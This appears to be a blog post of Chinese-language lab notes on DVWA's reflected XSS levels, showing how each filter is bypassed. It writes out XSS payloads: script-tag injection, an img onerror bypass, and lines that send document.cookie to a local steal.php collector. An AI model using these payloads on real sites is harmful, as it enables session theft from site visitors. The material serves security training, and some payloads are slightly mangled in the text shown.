dvwa中的反射型xss漏洞笔记

总结了dvwa中的反射型xss关卡

Low

代码复现如下:

当我们GET一个name值以后,服务器毫无过滤的通过echo输出我们GET的name值,而如果我们输入的是一串代码,则这串代码通过echo就会被执行,这就是反射型的xss漏洞,我们可以通过GET方式输入一串js代码构造一个注入js代码的网页,当受害者访问这个url时,js代码将会自动实现,从而达到恶意攻击目的

比如我们输入

<script>alert(\'xss\')</script>

dvwa中的反射型xss关卡笔记

于是我们可以利用这个xss漏洞获取服务器的cookie值,然后将cookie值存入数据库

先创建一个存放cookie的数据库

在mysql命令行输入:

create database dvwacookie;

use dvwacookie;

create table low

(

id int primary key,

cookie varchar(100)

);

然后在编写一个cookie.js的脚本

dvwa中的反射型xss关卡笔记

这个脚本作用是创建隐藏表单,表单提交到steal.php,提交的内容是cookie值

接下来编写steal.php,自然就是将提交cookie值写入数据库里了

然后回到存在xss漏洞的网页,通过GET传入name值

<scriptsrc=cookie.js></script>

查看数据库

dvwa中的反射型xss关卡笔记

成功获得cookie值

Medium

代码复现如下:

dvwa中的反射型xss关卡笔记

之后跟low关卡一样,输入

获得cookie值

dvwa中的反射型xss关卡笔记

High

代码复现如下:

这关利用了一个正则匹配过滤函数,i表示大小写,也就是以<开头,以t结尾的字符串,只要中间按顺序包含<script,则会立刻被过滤掉,之前双写绕过过滤的方法在这里行不通

绕过方法是采用触发onerror事件来执行javascript代码

onerror事件会在文档或者图像加载过程中发生错误时触发

例如,我们输入

<imgsrc=#onerror=alert(“xss”)>

dvwa中的反射型xss关卡笔记

果然,加载图片时发现不存在这个图片发生错误所以触发了onerror事件,然后执行了alert(“xss”)代码

那么我们再考虑怎么像之前两关一样获得cookie值

之前是通过script标签的src属性引用外部的cookie.js文件,将cookie值以POST形式传入steal.php,再将POST的cookie值写入数据库

但是很明显这关对script标签做了正则过滤,只要我们输入含有这几个字符,都会被过滤掉,所以这里可以用location.href跳转链接到steal.php,将cookie值写入数据库,所以这里只能用GET方式将cookie值传入steal.php

于是输入

<imgsrc=#onerror=(location.href=”http://127.0.0.1/demo/xss(reflected)/steal.php?data=” document.cookie)>

但是结果却是

dvwa中的反射型xss关卡笔记

为什么呢

仔细检查发现我们输入里面

<imgSrC=#oneRror=(locatIon.href=”httP://127.0.0.1/demo/xss(reflected)/steal.php?data=” document.cookie)>

大写字母构成了<script,所以被过滤掉了

所以我们可以采用先获得cookie值,然后将cookie值传入steal.php

dvwa中的反射型xss关卡笔记

输入

<imgsrc=#onerror=(alert(document.cookie))>

在将这个cookie值传入steal.php

还有种方法是对某个关键过滤字符进行html编码,但是我亲测不行,不知道什么原因,还望大神指点原因

以上是 dvwa中的反射型xss漏洞笔记 的全部内容, 来源链接: utcz.com/a/11422.html

回到顶部